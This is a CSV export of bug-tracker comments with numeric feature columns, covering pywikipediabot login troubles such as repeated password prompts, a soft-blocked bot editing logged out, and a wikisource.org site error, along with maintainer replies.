270248,login.all always asks for password,Please don't post your message on several bugs.,,,1399300450,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-x4zx43o5jogulf5ohnll,task_subcomment,,True,c3,1,True,,,-61,True,10.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Please don't post your message on several bugs.
270241,login.all always asks for password,"# C:\Pywikipedia>login.py
# Password for user AbshirBot on wikipedia:so
# No characters will be shown:*********
# Logging in to wikipedia:so as AbshirBot via API.
# Should be logged in now
# 
# C:\Pywikipedia>welcome.py
# Querying new user log from API....
# [Skip ] User been created automatically.
# [Skip ] User been created automatically.
# [Skip ] User has been created automatically.
# [NoAct] User Mohamed Ahmed has no contributions.
# [Skip ] User has been created automatically.
# [Match] User has enough edits to be welcomed.
# Password for user AbshirBot on wikipedia:so
# No characters will be shown:
# Password for user AbshirBot on wikipedia:so
# No characters will be shown:
# Logging in to wikipedia:so as AbshirBot via API.

Could someone help me what i told the above, the problem is every time I log in my User-Bot still requires the password if I continue to rewrite password, my IP address be recorded publicly visible in [[so:Special:RecentChanges]] as someone who is not registered.

Please, tell me things that I can do. Thanks....",,,1399299900,,PHID-USER-pzpng2elqrbnhuroddar,False,,,PHID-TASK-x4zx43o5jogulf5ohnll,task_subcomment,,True,c3,1,False,,,-61,True,0.3333333333333333,0.6666666666666666,0.0,3.6666666666666665,0.3333333333333333,1.0,0.3333333333333333,0.0,0.0,0.3333333333333333,3.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.0,5.0,8.0,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.6666666666666666,1.0,1.0,3.3333333333333335,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,1.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,4.333333333333333,16.0,0.3333333333333333,0.0,3.0,0.0,0.0,0.0,6.333333333333333,3.6666666666666665,0.3333333333333333,0.6666666666666666,0.0,3.3333333333333335,8.0,11.666666666666666,0.0,0.0,0.0,3.3333333333333335,0.0,1.3333333333333333,0.0,0.6666666666666666,1.0,0.0,0.0,3.6666666666666665,3.557609710550887,0.5456115779645191,"# C:\Pywikipedia>login.py
# Password for user AbshirBot on wikipedia:so
# No characters will be shown:*********
# Logging in to wikipedia:so as AbshirBot via API.
# Should be logged in now
# 
# C:\Pywikipedia>welcome.py
# Querying new user log from API....
# [Skip ] User been created automatically.
# [Skip ] User been created automatically.
# [Skip ] User has been created automatically.
# [NoAct] User Mohamed Ahmed has no contributions.
# [Skip ] User has been created automatically.
# [Match] User has enough edits to be welcomed.
# Password for user AbshirBot on wikipedia:so
# No characters will be shown:
# Password for user AbshirBot on wikipedia:so
# No characters will be shown:
# Logging in to wikipedia:so as AbshirBot via API.

Could someone help me what i told the above, the problem is every time I log in my User-Bot still requires the password if I continue to rewrite password, my IP address be recorded publicly visible in [[so:Special:RecentChanges]] as someone who is not registered.

Please, tell me things that I can do. Thanks...."
270233,login.all always asks for password,I'd like to but there is no version.py script in pywikibot,,,1380948480,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-x4zx43o5jogulf5ohnll,task_subcomment,,True,c3,1,True,,,-91,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,8.0,8.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,I'd like to but there is no version.py script in pywikibot
270226,login.all always asks for password,Please post your user-config.py and the output of python version.py.,,,1380948478,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-x4zx43o5jogulf5ohnll,task_subcomment,,True,c3,1,True,,,-91,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,9.0,9.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.363636363636363,1.0,Please post your user-config.py and the output of python version.py.
57183,interwiki and login errors on en.wiki,"Originally from: http://sourceforge.net/p/pywikipediabot/bugs/1488/
Reported by: reza1615
Created on: 2012-07-08 12:29:13
Subject: interwiki and login errors on en.wiki
Assigned to: xqt
Original description:
my bot \(Rezabot\)  has a flag on en.wiki and it is not blocked there but it couldn't edit on there


File ""interwiki.py"", line 2296, in run
self.queryStep\(\)
File ""interwiki.py"", line 2274, in queryStep
subj.finish\(self\)
File ""interwiki.py"", line 1723, in finish
if self.replaceLinks\(page, new, bot\):
File ""interwiki.py"", line 1961, in replaceLinks
status, reason, data = page.put\(newtext, comment=mcomment\)
File ""/home/reza/pywikipedia/wikipedia.py"", line 2024, in put
newPage, self.site\(\).getToken\(sysop = sysop\), sysop = sysop, botflag=botflag, maxTries=maxTries\)
File ""/home/reza/pywikipedia/wikipedia.py"", line 2143, in \_putPage
self.site\(\).checkBlocks\(sysop = sysop\)
File ""/home/reza/pywikipedia/wikipedia.py"", line 5461, in checkBlocks
raise UserBlocked\('User is blocked in site %s' % self\)
pywikibot.exceptions.UserBlocked: User is blocked in site wikipedia:en


also my bots name is listed on  \[\[Wikipedia:Bots/Status\]\] bot iterwiki code  says it's name is not in the list\!

--------------------------
**Version**: compat-(1.0)
**Severity**: normal
**See Also**:
https://sourceforge.net/p/pywikipediabot/bugs/1488",Needs Triage,90.0,1380947880,1406195024.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,,False,PHID-TASK-skkozb6q44n7yl4aqqlr,task_description,invalid,True,c3,1,True,False,True,-91,True,0.0,0.0,0.0,1.3333333333333333,1.0,1.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,3.3333333333333335,0.6666666666666666,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,2.3333333333333335,6.333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,3.0,0.6666666666666666,1.0,1.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,1.6666666666666667,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,1.6666666666666667,8.0,0.3333333333333333,1.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,1.0,0.0,6.333333333333333,0.0,1.6666666666666667,6.333333333333333,10.0,0.0,5.0,0.0,1.6666666666666667,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,1.3333333333333333,3.897713724665124,0.537520162704257,"Originally from: URL
Reported by: reza1615
Created on: 2012-07-08 12:29:13
Subject: interwiki and login errors on en.wiki
Assigned to: xqt
Original description:
my bot \(Rezabot\)  has a flag on en.wiki and it is not blocked there but it couldn't edit on there


File ""interwiki.py"", line 2296, in run
self.queryStep\(\)
File ""interwiki.py"", line 2274, in queryStep
subj.finish\(self\)
File ""interwiki.py"", line 1723, in finish
if self.replaceLinks\(page, new, bot\):
File ""interwiki.py"", line 1961, in replaceLinks
status, reason, data = page.put\(newtext, comment=mcomment\)
File ""/home/reza/pywikipedia/wikipedia.py"", line 2024, in put
newPage, self.site\(\).getToken\(sysop = sysop\), sysop = sysop, botflag=botflag, maxTries=maxTries\)
File ""/home/reza/pywikipedia/wikipedia.py"", line 2143, in \_putPage
self.site\(\).checkBlocks\(sysop = sysop\)
File ""/home/reza/pywikipedia/wikipedia.py"", line 5461, in checkBlocks
raise UserBlocked\('User is blocked in site %s' % self\)
pywikibot.exceptions.UserBlocked: User is blocked in site wikipedia:en


also my bots name is listed on  \[\[Wikipedia:Bots/Status\]\] bot iterwiki code  says it's name is not in the list\!

--------------------------
**Version**: compat-(1.0)
**Severity**: normal
**See Also**:
URL"
267475,interwiki and login errors on en.wiki,Trying to run interwiki.py while not logged in returns this error that is completely valid,,,1406195024,,PHID-USER-ctchvhisqfvk4rz7nt7d,False,,,PHID-TASK-skkozb6q44n7yl4aqqlr,task_subcomment,,True,c3,1,False,,,-49,True,0.0,0.0,7.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,20.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,7.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,7.0,5.066666666666666,1.0,Trying to run interwiki.py while not logged in returns this error that is completely valid
267469,interwiki and login errors on en.wiki,"my bot is edits on toolserver and toolserver ip is blocked and it edits by it's user name correctly 
https://en.wikipedia.org/w/index.php?limit=50&tagfilter=&title=Special%3AContributions&contribs=user&target=rezabot&namespace=&tagfilter=&year=&month=-1

I checked new update but it has the same error message
also my bot is listed on Wikipedia:Bots/Status/active bots

massage

pywikipedia$ python login.py -lang:en
Logging in to wikipedia:en as rezabot via API.
Should be logged in now
\*\*\* Your username is not listed on \[\[\[u'Wikipedia:Bots/Status/active bots', 'BotS'\]\]\].
\*\*\* Please make sure you are allowed to use the robot before actually using it\!",,,1380947945,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-skkozb6q44n7yl4aqqlr,task_subcomment,,True,c3,1,True,,,-91,True,0.0,0.0,0.0,3.5,1.0,4.0,0.0,0.0,0.0,0.0,2.5,1.5,0.0,0.0,0.0,1.5,0.0,4.5,8.5,0.0,1.0,1.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,4.0,0.5,1.5,0.0,1.5,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,10.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.5,4.0,9.5,0.0,1.5,1.5,0.0,0.0,1.0,0.0,2.5,1.0,1.5,0.0,4.5,8.5,8.5,0.0,1.5,0.0,4.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.5,3.802746931618936,0.7781998831092928,"my bot is edits on toolserver and toolserver ip is blocked and it edits by it's user name correctly 
URL

I checked new update but it has the same error message
also my bot is listed on Wikipedia:Bots/Status/active bots

massage

pywikipedia$ python login.py -lang:en
Logging in to wikipedia:en as rezabot via API.
Should be logged in now
\*\*\* Your username is not listed on \[\[\[u'Wikipedia:Bots/Status/active bots', 'BotS'\]\]\].
\*\*\* Please make sure you are allowed to use the robot before actually using it\!"
267465,interwiki and login errors on en.wiki,"- **labels**: 745455 --> login
- **assigned_to**: nobody --> xqt",,,1380947943,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-skkozb6q44n7yl4aqqlr,task_subcomment,,True,c3,1,True,,,-91,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.4347826086956523,0.5217391304347826,"- **labels**: 745455 --> login
- **assigned_to**: nobody --> xqt"
267462,interwiki and login errors on en.wiki,fix for NOTE: message done in r10446/r10447,,,1380947941,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-skkozb6q44n7yl4aqqlr,task_subcomment,,True,c3,1,True,,,-91,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7,1.0,fix for NOTE: message done in r10446/r10447
267459,interwiki and login errors on en.wiki,"It looks like the bot's IP was blocked \[1\] and it seems the bot was editing as anonymous account. On the other hand I don't know why/how that \(bot working as IP\) happens. Could you check your bot's IP edits?

The second message is due to the Botstatus templates has been moved into a subfolder. Will be fixed soon.

\[1\]: http://en.wikipedia.org/wiki/Wikipedia:SOFTBLOCK\#Setting\_block\_options",,,1380947939,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-skkozb6q44n7yl4aqqlr,task_subcomment,,True,c3,1,True,,,-91,True,0.0,0.0,0.0,4.0,1.0,5.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,1.0,1.0,8.0,3.0,3.0,0.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,13.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,8.0,6.0,14.0,4.0,1.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,6.0,9.0,8.0,1.0,0.0,0.0,6.0,0.0,3.0,1.0,0.0,3.0,0.0,0.0,1.0,3.5324675324675323,0.8051948051948052,"It looks like the bot's IP was blocked \[1\] and it seems the bot was editing as anonymous account. On the other hand I don't know why/how that \(bot working as IP\) happens. Could you check your bot's IP edits?

The second message is due to the Botstatus templates has been moved into a subfolder. Will be fixed soon.

\[1\]: URL"
267456,interwiki and login errors on en.wiki,"thank you for your answer after new update the bot blocking error  is solved.:\) but still now it shows this massage.
it should not show this because my bot is registered and flag in en.wiki

the massage


WARNING: Your account on wikipedia:en is blocked by Anomie.
Reason: Softblock: Toolserver bots should not be editing logged out. Consult \[\[WT:BOTPOL\]\] for consensus discussion.
Editing using this account will stop the run.

NOTE: You have new messages on wikipedia:en
Logging in to wikipedia:en as rezabot via API.
Should be logged in now
\*\*\* Your username is not listed on \[\[\[u'Wikipedia:Bots/Status', 'BotS'\]\]\].
\*\*\* Please make sure you are allowed to use the robot before actually using it\!",,,1380947938,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-skkozb6q44n7yl4aqqlr,task_subcomment,,True,c3,1,True,,,-91,True,0.0,0.0,0.0,3.0,1.5,2.0,0.0,0.5,0.0,0.0,2.5,1.5,0.0,0.0,0.0,0.5,0.0,4.5,10.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,4.5,2.0,1.0,0.5,3.5,0.0,0.0,0.5,0.5,0.0,0.0,1.0,0.5,0.5,0.0,0.0,0.0,0.0,13.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,2.5,4.0,11.0,0.5,1.0,4.0,0.0,0.0,0.5,0.0,3.5,0.5,0.5,0.0,5.0,10.0,9.0,0.0,1.5,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,3.935897435897436,0.7628205128205128,"thank you for your answer after new update the bot blocking error  is solved.:\) but still now it shows this massage.
it should not show this because my bot is registered and flag in en.wiki

the massage


WARNING: Your account on wikipedia:en is blocked by Anomie.
Reason: Softblock: Toolserver bots should not be editing logged out. Consult \[\[WT:BOTPOL\]\] for consensus discussion.
Editing using this account will stop the run.

NOTE: You have new messages on wikipedia:en
Logging in to wikipedia:en as rezabot via API.
Should be logged in now
\*\*\* Your username is not listed on \[\[\[u'Wikipedia:Bots/Status', 'BotS'\]\]\].
\*\*\* Please make sure you are allowed to use the robot before actually using it\!"
267453,interwiki and login errors on en.wiki,Also check to make sure you are still logged in. \(try running login.py and see if that fixes it.\),,,1380947936,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-skkozb6q44n7yl4aqqlr,task_subcomment,,True,c3,1,True,,,-91,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,10.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.857142857142857,1.0,Also check to make sure you are still logged in. \(try running login.py and see if that fixes it.\)
267450,interwiki and login errors on en.wiki,could you try another edit with -v option to get mor output,,,1380947934,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-skkozb6q44n7yl4aqqlr,task_subcomment,,True,c3,1,True,,,-91,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,could you try another edit with -v option to get mor output
267445,interwiki and login errors on en.wiki,- **summary**: error on en.wiki --> interwiki and login errors on en.wiki,,,1380947932,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-skkozb6q44n7yl4aqqlr,task_subcomment,,True,c3,1,True,,,-91,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.4444444444444446,0.7222222222222222,- **summary**: error on en.wiki --> interwiki and login errors on en.wiki
57154,Can't login to wikisource.org,"Originally from: http://sourceforge.net/p/pywikipediabot/bugs/1572/
Reported by: Anonymous user
Created on: 2013-02-09 09:45:00
Subject: Can't login to wikisource.org
Original description:
I would like to be able to edit Wikisource with pywikipediabot; unlike all the other wikis, http://wikisource.org/ does not redirect to http://en.wikisource.org/ and thus I cannot login to wikisource.org without playing with each script.

The following was outputted when I tried
family = 'wikisource'
mylang = ''

Traceback \(most recent call last\):
File ""C:\Python27\pywikipedia1\redirect.py"", line 65, in &lt;module&gt;
import wikipedia as pywikibot
File ""C:\Python27\pywikipedia1\wikipedia.py"", line 8717, in &lt;module&gt;
getSite\(noLogin=True\)
File ""C:\Python27\pywikipedia1\pywikibot\support.py"", line 115, in wrapper
return method\(\*\_\_args, \*\*\_\_kw\)
File ""C:\Python27\pywikipedia1\wikipedia.py"", line 8471, in getSite
\_sites\[key\] = Site\(code=code, fam=fam, user=user\)
File ""C:\Python27\pywikipedia1\pywikibot\support.py"", line 115, in wrapper
return method\(\*\_\_args, \*\*\_\_kw\)
File ""C:\Python27\pywikipedia1\wikipedia.py"", line 5667, in \_\_init\_\_
% \(self.\_\_code, self.\_\_family.name\)\)
NoSuchSite: Language  does not exist in family wikisource

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://sourceforge.net/p/pywikipediabot/bugs/1572",Needs Triage,90.0,1380947640,1384635692.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,,False,PHID-TASK-dhh37twcrmhqe6k4pknu,task_description,invalid,True,c3,1,True,False,True,-91,True,0.6666666666666666,0.0,0.0,0.3333333333333333,1.3333333333333333,3.3333333333333335,0.3333333333333333,0.0,0.0,0.0,3.3333333333333335,1.3333333333333333,0.0,0.0,0.0,1.0,0.0,3.0,7.333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,1.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.3333333333333333,1.0,0.0,0.3333333333333333,0.0,0.0,0.0,16.666666666666668,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.6666666666666666,13.0,0.3333333333333333,1.0,1.3333333333333333,0.0,0.0,0.0,0.0,4.0,0.3333333333333333,4.666666666666667,0.0,1.3333333333333333,7.333333333333333,5.0,0.0,5.0,0.0,1.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,1.0,4.642044367947983,0.5914132721361637,"Originally from: URL
Reported by: Anonymous user
Created on: 2013-02-09 09:45:00
Subject: Can't login to wikisource.org
Original description:
I would like to be able to edit Wikisource with pywikipediabot; unlike all the other wikis, URL does not redirect to URL and thus I cannot login to wikisource.org without playing with each script.

The following was outputted when I tried
family = 'wikisource'
mylang = ''

Traceback \(most recent call last\):
File ""C:\Python27\pywikipedia1\redirect.py"", line 65, in &lt;module&gt;
import wikipedia as pywikibot
File ""C:\Python27\pywikipedia1\wikipedia.py"", line 8717, in &lt;module&gt;
getSite\(noLogin=True\)
File ""C:\Python27\pywikipedia1\pywikibot\support.py"", line 115, in wrapper
return method\(\*\_\_args, \*\*\_\_kw\)
File ""C:\Python27\pywikipedia1\wikipedia.py"", line 8471, in getSite
\_sites\[key\] = Site\(code=code, fam=fam, user=user\)
File ""C:\Python27\pywikipedia1\pywikibot\support.py"", line 115, in wrapper
return method\(\*\_\_args, \*\*\_\_kw\)
File ""C:\Python27\pywikipedia1\wikipedia.py"", line 5667, in \_\_init\_\_
% \(self.\_\_code, self.\_\_family.name\)\)
NoSuchSite: Language  does not exist in family wikisource

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
265878,Can't login to wikisource.org,closed per above,,,1384635692,,PHID-USER-43lnvui4hacyjrc2lflj,False,,,PHID-TASK-dhh37twcrmhqe6k4pknu,task_subcomment,,True,c3,1,True,,,-85,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,4.666666666666667,1.0,closed per above
265874,Can't login to wikisource.org,"Suggested method works, please close or possibly add a note somewhere in the code? \(so people like me can see that they need to do '-'\)",,,1380947670,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-dhh37twcrmhqe6k4pknu,task_subcomment,,True,c3,1,True,,,-91,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,7.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,0.0,3.0,3.0,3.0,7.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,7.0,13.0,3.0,3.0,3.0,0.0,7.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.7333333333333334,1.0,"Suggested method works, please close or possibly add a note somewhere in the code? \(so people like me can see that they need to do '-'\)"
265870,Can't login to wikisource.org,"My mistake, I didn't see the suggested method.",,,1380947668,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-dhh37twcrmhqe6k4pknu,task_subcomment,,True,c3,1,True,,,-91,True,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,18.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5454545454545454,1.0,"My mistake, I didn't see the suggested method."
